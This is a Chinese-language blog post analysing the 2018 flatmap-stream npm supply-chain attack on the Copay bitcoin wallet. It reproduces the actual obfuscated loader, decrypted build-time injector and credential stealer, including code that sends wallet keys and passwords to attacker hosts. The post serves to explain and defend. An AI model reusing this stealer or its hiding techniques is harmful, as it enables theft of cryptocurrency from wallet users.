JavaScript黑客是這樣竊取比特幣的,Vue開發者不用擔心!

Fundebug發表於2018-12-03

如果你是JavaScript或者區塊鏈開發者,如果你有關注區塊鏈以及比特幣,那麼你應該聽說了比特幣錢包Copay被黑客攻擊的事情。但是,你知道這是怎麼回事嗎?

總結

  • 比特幣錢包copay依賴event-stream模組;
  • 黑客從騙取了event-stream模組的npm釋出許可權;
  • 黑客為event-stream模組新增了依賴flatmap-stream
  • flatmap-stream含有黑客程式碼,僅會在copay專案中正確執行,竊取使用者的密碼、私鑰等資訊,從而盜取比特幣;
  • 有人說什麼Vue可能遭受攻擊,其實沒有這回事,因為黑客程式碼只會在copay專案中正確執行。只有copay專案的package.json中的description字串"A Secure Bitcoin Wallet"能夠解密黑客程式碼;而且,黑客的程式碼是為copay量身定做的,對其他專案沒有作用;再說,黑客是來竊取的比特幣的,又不是挖礦,你的專案有比特幣給人家偷嗎?

Q&A

  • 哪個版本的copay被攻擊了?5.0.2到5.1.0
  • 哪個版本的event-stream被攻擊了?3.3.6
  • 哪個版本的flatmap-stream被攻擊了?0.1.1
  • Vue會受到攻擊嗎?不會

另外,歡迎大家免費試用Fundebug的錯誤監控服務哈~

尋找flatmap-stream中的黑客程式碼

flatmap-stream已經被npm刪除了,不過還能在UNPKG上找到程式碼:unpkg.com/flatmap-str…

index.min.js是經過壓縮的程式碼,因此可讀性很差:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
複製程式碼

但是,黑客的黑客程式碼隱藏的並不深,直接新增在index.min.js的後面:

!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
複製程式碼

使用unminify將黑客程式碼還原:

! function() {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")),
            o = t[e(n[3])][e(n[4])];
        if (!o) return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
    } catch (r) {}
}();
複製程式碼

這段程式碼其實很短,黑客混淆的方式並不高明,我們可以一步一步還原。

  • 使用require替換變數r
  • 使用process替換變數t
  • 函式e任務很簡單,就是把16進位制字串轉為ASCII字串,因此更名為hexToAscii
!(function() {
    try {
        function hexToAscii(r) {
            return Buffer.from(r, "hex").toString();
        }
        var n = require(hexToAscii("2e2f746573742f64617461")),
            o = process[hexToAscii(n[3])][hexToAscii(n[4])];
        if (!o) return;
        var u = require(hexToAscii(n[2]))[hexToAscii(n[6])](
                hexToAscii(n[5]),
                o
            ),
            a = u.update(n[0], hexToAscii(n[8]), hexToAscii(n[9]));
        a += u.final(hexToAscii(n[9]));
        var f = new module.constructor();
        (f.paths = module.paths), f[hexToAscii(n[7])](a, ""), f.exports(n[1]);
    } catch (r) {
        // 忽略報錯
    }
})();
複製程式碼

很明顯,黑客使用hexToAscii函式是為了混淆程式碼,比如hexToAscii("2e2f746573742f64617461")其實就是**./test/data**,因此陣列n即為:unpkg.com/flatmap-str…,這個data檔案已經找不到了,根據FallingSnow之前的分析,它是一個陣列:

[
    "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
    "db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1",
    "63727970746f",
    "656e76",
    "6e706d5f7061636b6167655f6465736372697074696f6e",
    "616573323536",
    "6372656174654465636970686572",
    "5f636f6d70696c65",
    "686578",
    "75746638"
]
複製程式碼

陣列n中一共有10個元素,除了前面2個元素,其他元素在程式碼中均通過hexToAscii函式進行了轉換,其轉換結果如下:

  • hexToAscii(n[2]): crypto
  • hexToAscii(n[3]): env
  • hexToAscii(n[4]): npm_package_description
  • hexToAscii(n[5]): aes256
  • hexToAscii(n[6]): createDecipher
  • hexToAscii(n[7]): _compile
  • hexToAscii(n[8]): hex
  • hexToAscii(n[9]): utf8

將這些值全部替換掉,程式碼如下:

!(function() {
    try {
        var n = [
            "75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629",
            "db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
        ];
        var o = process["env"]["npm_package_description"];
        if (!o) return;
        var u = require("crypto")["createDecipher"]("aes256", o),
            a = u.update(n[0], "hex", "utf8");
        a += u.final("utf8");
        var f = new module.constructor();
        (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
    } catch (r) {
        // 忽略報錯
    }
})();
複製程式碼

程式碼中使用了crypto.createDecipher函式,其文件如下:

crypto.createDecipher(algorithm, password)
// Creates and returns a Decipher object that uses the given algorithm and password
複製程式碼

可知,程式碼將專案的npm_package_description作為密碼來解密n[0]字串,而copay專案的package.jsondescription屬性是"A Secure Bitcoin Wallet","恰好"可以成功解密n[0]字串,unminify之後如下:

/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};
複製程式碼

我們在解密的程式碼中看到了完全一樣的套路,只是這次解密的是n[1]unminify之後如下:

/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();
複製程式碼

這段程式碼才是真正竊取比特幣的程式碼,我們稍後再分析。

黑客是如何隱藏黑客程式碼的?

  • 黑客一共隱藏了3段程式碼;
  • 第1段程式碼隱藏在flatmap-streamindex.min.js結尾,程式碼中使用了16進位制字串來隱藏正真使用的字串;
  • 第2段程式碼隱藏在flatmap-streamtest/data的陣列中,需要使用copay專案的description字串才能解密,它在第1段程式碼中解密;
  • 第3段程式碼也隱藏在flatmap-streamtest/data的陣列中,需要使用copay專案的description字串才能解密,它在第2段程式碼中解密;
  • 正真竊取比特幣錢包copay的是第3段程式碼;
  • 第2段和第3段程式碼剛好需要使用copay中的description字串**"A Secure Bitcoin Wallet"**才能解密,可知黑客攻擊的目標就是copay專案;
  • 黑客多處使用了**Buffer.from(str, "hex").toString()**來混淆程式碼,將ASCII字串轉換為16進位制字串,使我們難以讀懂程式碼;
  • 黑客2次使用了AES256演算法加密黑客程式碼,如果找不到解密的密碼,就不可能知道黑客到底是攻擊哪個專案,也不知道他幹了什麼。 maths22成功找到了密碼"A Secure Bitcoin Wallet"以及被攻擊的專案copay
  • 黑客把所有黑客程式碼都寫在了try...catch裡面,否則丟擲莫名其妙的錯誤很容易暴露;(這裡從另一個角度證明了監控程式碼錯誤的重要性,歡迎大家免費試用Fundebug)

黑客是如何竊取比特幣的

我分析並且簡化了黑客的第3段程式碼,如下:

/*global cordova resolveLocalFileSystemURL chrome*/
!(function() {
    var http = require("http");
    var crypto = require("crypto");
    // 黑客的公鑰,用於加密竊取的資料,這樣只有黑客的公鑰可以解密
    var publicKey =
        "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

    // 將竊取的資料傳送到黑客的伺服器
    function httpRequest(hostname, path, data) {
        var request = http.request(
            {
                hostname: hostname,
                port: 8080,
                method: "POST",
                path: "/" + path,
                headers: {
                    "Content-Length": data.length,
                    "Content-Type": "text/html"
                }
            },
            function() {}
        );
        request.on("error", function() {});
        request.write(data);
        request.end();
    }

    // 使用者密碼傳送至http://111.90.151.134:8080/p
    // 使用者其他資訊傳送至http://111.90.151.134:8080/c
    function sendToHacker(path, t) {
        // 黑客對資料進行了簡單的編碼以及加密
        for (var n = "", r = 0; r < t.length; r += 200) {
            var o = t.substr(r, 200);
            // 使用黑客的公鑰對竊取的資料進行加密
            n +=
                crypto
                    .publicEncrypt(publicKey, Buffer.from(o, "utf8"))
                    .toString("hex") + "+";
        }
        httpRequest("copayapi.host", path, n);
        httpRequest("111.90.151.134", path, n);
    }

    // 竊取使用者資訊
    function getUserInfo(type, n) {
        if (window.cordova) {
            var e = cordova.file.dataDirectory;
            resolveLocalFileSystemURL(e, function(e) {
                e.getFile(
                    type,
                    {
                        create: !1
                    },
                    function(e) {
                        e.file(function(e) {
                            var t = new FileReader();
                            (t.onloadend = function() {
                                return n(JSON.parse(t.result));
                            }),
                                (t.onerror = function() {
                                    t.abort();
                                }),
                                t.readAsText(e);
                        });
                    }
                );
            });
        } else {
            var r = localStorage.getItem(type);
            if (r) return n(JSON.parse(r));

            chrome.storage.local.get(type, function(e) {
                if (e) return n(JSON.parse(e[type]));
            });
        }
    }

    function steal() {
        var ifSteal = false;
        // 竊取將使用者的隱私資訊,比如私鑰
        getUserInfo("profile", function(profile) {
            for (var t in profile.credentials) {
                var n = profile.credentials[t];
                if (n.network == "livenet") {
                    getUserInfo(
                        "balanceCache-" + n.walletId,
                        function(e) {
                            var t = this;
                            t.balance = parseFloat(e.balance.split(" ")[0]);
                            // 當比特幣超過100個或者bch超過1000個時,將使用者資料傳送到黑客伺服器
                            if (
                                ("btc" == t.coin && t.balance > 100) ||
                                ("bch" == t.coin && t.balance > 1000)
                            ) {
                                ifSteal = true;
                                sendToHacker("c", JSON.stringify(t));
                            }
                        }.bind(n)
                    );
                }
            }
        });
        // 通過重寫getKeys函式來竊取使用者的密碼
        var Credentials = require("bitcore-wallet-client/lib/credentials.js");
        Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;
        Credentials.prototype.getKeys = function(password) {
            var keys = this.getKeysFunc(password);
            if (ifSteal) {
                // 將竊取的密碼傳送到黑客伺服器
                sendToHacker("p", password + "\t" + this.xPubKey);
            }
            return keys;
        };
    }

    if (window.cordova) {
        document.addEventListener("deviceready", steal);
